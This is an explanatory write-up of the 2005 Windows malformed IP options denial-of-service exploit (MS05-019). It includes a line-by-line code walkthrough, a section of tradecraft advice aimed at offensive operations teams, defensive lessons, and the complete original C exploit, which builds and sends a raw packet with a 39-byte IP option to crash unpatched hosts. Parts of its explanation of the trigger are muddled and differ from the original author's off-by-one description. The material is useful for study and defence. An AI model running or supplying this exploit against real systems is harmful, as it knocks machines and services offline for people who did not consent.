Understanding the Malformed IP Options DoS Exploit (MS05-019)

Understanding the Malformed IP Options DoS Exploit (MS05-019)
What this paper is
This paper details a Denial of Service (DoS) vulnerability in Microsoft Windows operating systems related to how the system processes IP packets with malformed options. Specifically, it describes how sending a specially crafted IP packet with a particular IP option length can cause the target system to crash. The exploit code provided demonstrates how to construct and send such a packet.
Simple technical breakdown
The core of the vulnerability lies in how Windows handles IP packet options. IP packets can carry extra information in an "options" field. This field has a specific structure: an option type, an option length, and then the actual option data.
The vulnerability occurs when an IP option is defined with a length that, when combined with the option type and length fields themselves, exceeds the maximum allowed size for IP options, but the system's validation logic fails to catch this. The exploit targets a specific scenario where the option length is set to 39. The IP header structure reserves space for options, and the code responsible for parsing these options incorrectly calculates the buffer size needed, leading to an out-of-bounds write or read, ultimately causing a crash.
The exploit uses the libnet library to construct a raw IP packet. It manipulates the IP header to include a malformed IP option. This malformed option is designed to trigger the vulnerability in the target Windows system.
Complete code and payload walkthrough
The provided C code uses the libnet library to craft and send a raw IP packet. Let's break down the significant parts:
1. Header Files and Definitions:
#ifndef _BSD_SOURCE/#define _BSD_SOURCE: These are preprocessor directives to ensure compatibility with BSD-specific features, often needed for network programming.#include <stdio.h>,#include <string.h>,#include <time.h>,#include <libnet.h>: Standard C libraries for input/output, string manipulation, time functions, and thelibnetnetworking library.#define IP_H 20: Defines the standard size of an IPv4 header in bytes.#define IPOPTS_MAX 40: Defines the maximum size of the IP options field in bytes.
2. banner() Function:
- Purpose: Displays an introductory message with the exploit's title, authors, and team.
- Behavior: Prints formatted text to the console.
- Output: A text banner.
3. usage(char *cmd) Function:
- Purpose: Displays how to use the exploit program if the command-line arguments are incorrect.
- Behavior: Prints a usage message to the console and exits.
- Output: A usage string like "Usage:
4. main(int argc, char **argv) Function:
- Purpose: The main execution logic of the exploit. It initializes
libnet, parses arguments, constructs the packet, and sends it. - Behavior:
- Calls
banner(). - Checks if the correct number of command-line arguments (
argc < 4) is provided. If not, it callsusage(). - Initializes
libnetfor raw IPv4 packet construction (libnet_init(LIBNET_RAW4, device, errbuf)). - Parses the source IP address from
argv[1]usinglibnet_name2addr4(). - Parses the destination IP address from
argv[2]usinglibnet_name2addr4(). - Allocates memory for the packet buffer (
malloc(IP_MAXPACKET)).IP_MAXPACKETis alibnetmacro representing the maximum possible IP packet size. - Crucially, it sets up the malformed IP option:
buf[20] = atoi(argv[3]);: This line is a bit misleading in the original code.buf[20]is actually the first byte of the IP header's options field. The value fromargv[3]is intended to be the option type. However, the code then proceeds to set the length of the option to 39 atbuf[21]. The vulnerability is triggered by the length being 39, not necessarily the option type.buf[21] = 39;: This sets the length of the IP option to 39 bytes. This is the key to the exploit. The IP header structure reserves space for options. The total length of the options field is determined by theIP H(IP header size) +IPOPTS_MAX(options size). The vulnerability occurs because the system expects to processIPOPTS_MAXbytes for options, but the malformed length of 39, when combined with the option type and length fields themselves, can lead to an incorrect buffer calculation.for (c = 0; c < 38; c += 3) strncpy(&buf[22 + c], "ECL", 3);: This loop fills the rest of the option data with the string "ECL" to reach the specified length. It adds 38 bytes of padding, starting from offset 22 (after the option type and length).
- Sets up the TCP header:
TCP = (struct tcphdr *)(buf + IP_H + IPOPTS_MAX);: This places the TCP header after the IP header and the entire space allocated for IP options (IP_H + IPOPTS_MAX). This is a common way to construct packets withlibnet, where you manually define the layout.TCP->th_off = 5;: Sets the TCP header length to 5 words (20 bytes).
- Calculates the total packet length:
packet_len = IP_H + IPOPTS_MAX + (TCP->th_off << 2);. This calculates the total length as the IP header size (20 bytes) plus the maximum IP options size (40 bytes) plus the TCP header size (5 words * 4 bytes/word = 20 bytes). This means the packet is constructed with a 60-byte IP header (20 bytes standard + 40 bytes for options) and a 20-byte TCP header. - Initializes the random seed for packet IDs and window sizes.
- Constructs the IP header fields:
IP = (struct ip *) buf;: Casts the beginning of the buffer to an IP header structure.IP->ip_v = 4;: IP version 4.IP->ip_hl = 5 + (IPOPTS_MAX / 4);: Sets the IP header length.5is the base header length in 32-bit words, andIPOPTS_MAX / 4(40/4 = 10) is added for the options, resulting in a 15-word header (60 bytes). This is a critical part of the malformation. The IP header length field indicates the total size of the IP header, including options. By setting it to5 + (IPOPTS_MAX / 4), the system expects 40 bytes of options.IP->ip_tos = 0;: Type of Service.IP->ip_len = htons(packet_len);: Total packet length.IP->ip_id = rand();: Random IP identification.IP->ip_off = htons(0);: Fragmentation flags.IP->ip_ttl = 64;: Time to Live.IP->ip_p = IPPROTO_TCP;: Protocol is TCP.IP->ip_sum = 0;: Checksum is set to 0, aslibnet_do_checksumwill calculate it.IP->ip_src.s_addr = src;: Source IP address.IP->ip_dst.s_addr = dst;: Destination IP address.
- Constructs the TCP header fields:
TCP->th_sport = htons(1337);: Source port.TCP->th_dport = htons(80);: Destination port.TCP->th_seq = 0;: Sequence number.TCP->th_ack = 0;: Acknowledgment number.TCP->th_x2 = 0;: Unused.TCP->th_flags = TH_SYN;: SYN flag set, indicating a connection initiation attempt.TCP->th_win = rand() & 0xffff;: Random window size.TCP->th_sum = 0;: Checksum is set to 0, aslibnet_do_checksumwill calculate it.TCP->th_urp = 0;: Urgent pointer.
- Calculates the TCP checksum:
libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_TCP, TCP->th_off << 2);. This calculates the checksum for the TCP header and payload. - Sends the packet:
libnet_write_raw_ipv4(l, buf, packet_len). - Prints "Packet sent." if successful.
- Cleans up
libnetresources (libnet_destroy(l)) and frees allocated memory (free(buf)).
- Calls
Code Fragment/Block -> Practical Purpose Mapping:
buf[21] = 39;: Malformed IP Option Length. This is the core of the exploit, setting the IP option length to 39.IP->ip_hl = 5 + (IPOPTS_MAX / 4);: Malformed IP Header Length. This tells the receiving system that the IP header, including options, is 60 bytes long, implying 40 bytes of options space.libnet_write_raw_ipv4(l, buf, packet_len);: Packet Transmission. This function sends the crafted raw IP packet to the target.libnet_name2addr4(l, argv[X], LIBNET_RESOLVE);: IP Address Resolution. Converts human-readable IP addresses (or hostnames) into network byte order format.
Shellcode/Payload Segments:
This exploit does not contain traditional shellcode in the sense of executable code injected into a process. The "payload" here is the malformed IP packet itself. The effect is achieved by the structure of the packet, not by executing code on the target.
- Stage 1: Malformed IP Packet Construction: The
mainfunction constructs a raw IP packet. The critical elements are:- An IP header with
ip_hlset to indicate 40 bytes of options. - An IP option field where the length byte (
buf[21]) is set to 39. - This combination leads to an inconsistency: the IP header says there are 40 bytes of options, but the specific option defined has a declared length of 39 bytes, which, when processed by the vulnerable code, causes an issue. The exact nature of the crash (buffer overflow, out-of-bounds read) depends on the internal implementation of the IP option parsing in the target OS.
- An IP header with
Practical details for offensive operations teams
- Required Access Level: Network access to the target network segment is required. The exploit sends a raw IP packet, so it doesn't require any prior privileges on the target machine itself. However, the ability to send raw packets might be restricted by firewalls or host-based intrusion prevention systems (HIPS).
- Lab Preconditions:
- A controlled lab environment with a vulnerable Windows target.
- A Linux or other Unix-like system capable of running
libnetto craft and send the exploit packet. - Network connectivity between the attacker machine and the target.
- The
libnetlibrary installed on the attacker machine.
- Tooling Assumptions:
gccor another C compiler to compile the exploit code.libnetdevelopment libraries.- A network interface capable of sending raw packets.
- Execution Pitfalls:
- Firewall/IPS Blocking: Network security devices might detect and block the raw IP packet, especially if it contains unusual option structures.
- Incorrect IP/Port: If the source or destination IP addresses are incorrect, or if the target system is not listening on the expected ports (though this DoS doesn't strictly depend on listening ports, just packet processing), the packet might not reach the intended processing path.
- OS Patching: Modern Windows systems are patched against this vulnerability. The exploit will only be effective against unpatched systems.
- Packet Fragmentation: If the packet is fragmented by intermediate network devices, the malformed option might be processed differently or not at all, potentially preventing the DoS. The exploit code does not explicitly handle fragmentation.
- Option Type Specificity: The original paper notes, "Note that this doesn't affect ALL options, and is also dependant upon the underlying protocol." This implies that the specific IP option type used (or implied by the
argv[3]input) might matter, though the primary trigger is the length of 39.
- Tradecraft Considerations:
- Reconnaissance: Identify target OS versions and patch levels. This exploit is highly version-specific.
- Stealth: Sending raw, unencrypted packets can be noisy. Consider using techniques to blend in with normal traffic if possible, though the malformed option itself is anomalous.
- Payload Delivery: This is a DoS exploit, not a code execution exploit. Its purpose is to disrupt service, not gain access.
- Timing: The DoS is immediate upon packet reception and processing.
Where this was used and when
- Discovery: The vulnerability was discovered and published by Yuri Gushin and Alex Behar of the ECL Team.
- Publication Date: April 17, 2005.
- Microsoft Security Bulletin: This vulnerability was addressed by Microsoft Security Bulletin MS05-019, released in April 2005.
- Usage Contexts: This exploit would have been used in the mid-2000s against unpatched Windows systems for disruptive purposes. It's unlikely to be effective against modern, patched systems. It could have been used in unauthorized attacks or, in a controlled environment, for testing the resilience of systems against such DoS vectors.
Defensive lessons for modern teams
- Vulnerability Management: Regularly patch operating systems and network services. MS05-019 is a classic example of why timely patching is critical.
- Network Intrusion Detection/Prevention Systems (NIDS/NIPS): Implement and tune NIDS/NIPS to detect malformed packets, unusual IP option usage, and traffic patterns indicative of DoS attacks. Signatures for known exploits like this should be part of the IDS/IPS rulesets.
- Network Segmentation: Segmenting networks can limit the blast radius of a DoS attack.
- Firewall Rules: Configure firewalls to drop packets with unexpected or malformed IP options. While IP options are rarely used legitimately today, strict filtering can prevent abuse.
- Deep Packet Inspection (DPI): Advanced firewalls and security appliances can perform DPI to scrutinize packet headers and options for anomalies.
- Incident Response Preparedness: Have well-defined incident response plans for DoS attacks, including procedures for traffic analysis, mitigation, and recovery.
- Understanding Protocol Standards: Educate security personnel on the intricacies of network protocols (like IP and TCP) to better identify deviations and potential exploits.
ASCII visual (if applicable)
+-----------------------------------------------------------------+
| Attacker Machine (Linux/Unix) |
| +-----------------+ +-----------------+ +-----------------+ |
| | libnet Library |-->| C Compiler |-->| Exploit Binary | |
| +-----------------+ +-----------------+ +-----------------+ |
| |
| Crafts Raw IP Packet: |
| +-----------------------------------------------------------+ |
| | IP Header (v4, HL=60, Proto=TCP, Src, Dst) | |
| | +-----------------------------------------------------+ | |
| | | IP Options (Total 40 bytes expected by HL) | | |
| | | +-----------------------------------------------+ | | |
| | | | Option Type (e.g., 0x94) | | | |
| | | | Option Length (39 bytes - MALFORMED) | | | |
| | | | Padding ("ECL" x 12 + ...) (38 bytes) | | | |
| | | +-----------------------------------------------+ | | |
| | +-----------------------------------------------------+ | |
| | +-----------------------------------------------------+ | |
| | | TCP Header (Src Port, Dst Port, SYN Flag, etc.) | | |
| | +-----------------------------------------------------+ | |
| +-----------------------------------------------------------+ |
| |
+-----------------------------------------------------------------+
|
| Raw IP Packet (sent over network)
v
+-----------------------------------------------------------------+
| Target Machine (Vulnerable Windows) |
| |
| Receives Raw IP Packet |
| +-----------------------------------------------------------+ |
| | IP Stack Processing | |
| | - Parses IP Header: Sees HL=60, expects 40 bytes options| |
| | - Processes IP Options: Encounters Option Length = 39 | |
| | - **VULNERABILITY TRIGGERED** (e.g., buffer overflow) | |
| | - **SYSTEM CRASH (Denial of Service)** | |
| +-----------------------------------------------------------+ |
| |
+-----------------------------------------------------------------+The visual depicts the attacker crafting a raw IP packet with a specific IP header length (HL=60) indicating 40 bytes of options. However, within those options, the declared length of a particular option is set to 39 bytes. When the target Windows system's IP stack processes this, the discrepancy between the expected 40 bytes and the declared 39 bytes (or how the length is interpreted) leads to a processing error, causing a crash.
Source references
- PAPER ID: 942
- PAPER TITLE: Microsoft Windows - Malformed IP Options Denial of Service (MS05-019)
- AUTHOR: Yuri Gushin
- PUBLISHED: 2005-04-17
- KEYWORDS: Windows,dos
- PAPER URL: https://www.exploit-db.com/papers/942
- RAW URL: https://www.exploit-db.com/raw/942
- Microsoft Security Bulletin: MS05-019
Original Exploit-DB Content (Verbatim)
/* ecl-winipdos.c - 16/04/05
* Yuri Gushin <yuri@eclipse.org.il>
* Alex Behar <alex@eclipse.org.il>
*
* This one was actually interesting, an off-by-one by our beloved
* M$ :)
*
* When processing an IP packet with an option size (2nd byte after
* the option) of 39, it will crash - since the maximum available
* size is 40 for the whole IP options field, and two are already used:
* [ OPT ] [ SIZE ] [ 38 more bytes ]
* Checks are done to validate that the option-size field is less than
* 40, where a value less than !39! should be checked for validation.
*
* Note that this doesn't affect ALL options, and is also dependant upon
* the underlying protocol.
* Anyways, a small PoC to see how it works and why, tweak test and
* explore, have fun :)
*
*
* Greets fly out to the ECL crew, Valentin Slavov, blexim, stranger,
* manevski, elius, shrink, Evgeny Pinchuk, Ishay Sommer, and anyone else
* who got left out :D
*
*/
#ifndef _BSD_SOURCE
#define _BSD_SOURCE
#endif
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <libnet.h>
#define IP_H 20
#define IPOPTS_MAX 40
void banner();
void usage(char *);
int main(int argc, char **argv)
{
char errbuf[LIBNET_ERRBUF_SIZE];
libnet_t *l;
char *device = NULL;
int c;
u_char *buf;
int packet_len = 0;
struct ip *IP;
struct tcphdr *TCP;
u_int32_t src = 0, dst = 0;
banner();
if (argc < 4) usage(argv[0]);
if ((l = libnet_init(LIBNET_RAW4, device, errbuf)) == NULL) {
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(-1);
}
if ((src = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1) {
fprintf(stderr, "Unresolved source address\n");
exit(-1);
}
if ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) {
fprintf(stderr, "Unresolved destination address\n");
exit(-1);
}
if ( (buf = malloc(IP_MAXPACKET)) == NULL ) {
perror("malloc");
exit(-1);
}
buf[20] = atoi(argv[3]);
buf[21] = 39; // our malformed size
for (c = 0; c<38; c+=3)
strncpy(&buf[22+c], "ECL", 3); // padding
TCP = (struct tcphdr *)(buf + IP_H + IPOPTS_MAX);
TCP->th_off = 5;
packet_len = IP_H + IPOPTS_MAX + (TCP->th_off << 2);
srand(time(NULL));
IP = (struct ip *) buf;
IP->ip_v = 4; /* version 4 */
IP->ip_hl = 5 + (IPOPTS_MAX / 4);/* 60 byte header */
IP->ip_tos = 0; /* IP tos */
IP->ip_len = htons(packet_len); /* total length */
IP->ip_id = rand(); /* IP ID */
IP->ip_off = htons(0); /* fragmentation flags */
IP->ip_ttl = 64; /* time to live */
IP->ip_p = IPPROTO_TCP; /* transport protocol */
IP->ip_sum = 0;
IP->ip_src.s_addr = src;
IP->ip_dst.s_addr = dst;
TCP->th_sport = htons(1337);
TCP->th_dport = htons(80);
TCP->th_seq = 0;
TCP->th_ack = 0;
TCP->th_x2 = 0;
TCP->th_flags = TH_SYN;
TCP->th_win = rand() & 0xffff;
TCP->th_sum = 0;
TCP->th_urp = 0;
libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_TCP, TCP->th_off << 2);
if ((c = libnet_write_raw_ipv4(l, buf, packet_len)) == -1)
{
fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
exit(-1);
}
printf("Packet sent.\n");
libnet_destroy(l);
free(buf);
return (0);
}
void usage(char *cmd)
{
printf("Usage: %s <source> <destination> <option>\n",cmd);
exit(-1);
}
void banner()
{
printf("\t\tWindows malformed IP Options DoS exploit\n"
"\t\t Yuri Gushin <yuri@eclipse.org.il>\n"
"\t\t Alex Behar <alex@eclipse.org.il>\n"
"\t\t\t ECL Team\n\n\n");
}
// milw0rm.com [2005-04-17]